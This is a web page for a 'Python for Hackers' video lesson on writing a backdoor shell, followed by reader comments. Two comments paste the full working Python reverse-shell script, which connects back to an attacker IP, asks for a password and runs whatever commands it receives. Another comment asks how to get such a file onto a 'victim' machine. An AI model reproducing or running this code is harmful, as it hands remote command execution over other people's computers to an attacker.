Learn Python Programming For Hackers – Lesson 7 – Backdoor Shell

Python

Video is ready, Click Here to View ×


📌Get 25 Python Books for only $0.60 each:
https://goo.gl/78gZQ5

This video content has been made available for informational and educational purposes only. The content within this video is meant to educate viewers on cyber security topics, methodologies, and tactics to better protect against cyber security threats. Don’t be evil.

Learn Python Programming – Welcome to HackHappy’s Learn Python Programming course. In this series of videos I will walk you through the process of learning…

36 thoughts on “Learn Python Programming For Hackers – Lesson 7 – Backdoor Shell

  1. Loving your work! I feel you explain things really clearly and it's easy to learn from you. One question regarding the logic: Any specific reason why you check if the password doesn't match first, rather then checking if it does match? Is it personal preference, best practices, offer any benefits, or just what you decided on the day. Thanks 🙂

  2. can someone help out? so this is the script i copied from the video

    #!/usr/bin/python
    import subprocess
    import socket

    host = '192.168.0.108'
    port = 445
    password = 'demnuts'

    #Check password
    def Login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != password:
    Login()
    else:
    s.send("Connected #> ")
    Shell()

    #Execute shell commands
    def Shell():
    while True:
    data = s.recv(1024)

    if data.strip() == ":kill":
    break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)
    s.send("#> ")

    #Start the script
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    Login()

    it works fine but when i type any command in the shell this is what i get

    root@kali:~/Desktop/python# ./backdoor.py
    Traceback (most recent call last):
    File "./backdoor.py", line 37, in <module>
    Login()
    File "./backdoor.py", line 19, in Login
    Shell()
    File "./backdoor.py", line 30, in Shell
    output = proc.stdout.read() + proc.stderr.read()
    AttributeError: 'NoneType' object has no attribute 'read'
    root@kali:~/Desktop/python#

    can anyone help out? maybe correct it if it wrong

  3. This is the source code have fun guys

    #!/usr/bin/python
    import subprocess #Process comands
    import socket #Process socket data

    host = "127.0.0.1" #Attack computer
    port = 443 #Attack port
    passwd = "s3cr3t" #Password

    #check password
    def Login():
    global s
    s.send("login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
    Login()
    else:
    s.send("Connected #> ")
    shell()

    #Execute shell commands
    def shell():
    while True:
    data = s.recv(1024)

    if data.strip() == ":kill":
    break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)
    s.send("#> ")

    #start script
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    Login()

  4. Why would the connect command on line 36 work since you only specified the ip address for your attack computer on line 5, but not the ip address for the victim computer anywhere in the program?

  5. Good video! I liked it. Could you do a video explaining how to send a file to "victim" that they would open, said file could gethostbyname and save it to a variable in the script?

  6. Hey HackHappy. Loved this video. So far I coded a backdoor, and I can get it to listen, or at least get netcat to listen, but when I started it up on my two other laptops it gave me a weird message. On my Mac it told me that the connecting ended by the peer, even though it never connected, and on my linux it told me that [Errno 32] Broken Pipe. What's going on?

  7. Hey this is a great video! however I'm having a problem running the script on my Mac I keep getting this error:

    ConnectionRefusedError: [Errno 61] Connection refused

    on this line:

    s.connect((host,port))

    Thanks!

Leave a Reply

Your email address will not be published. Required fields are marked *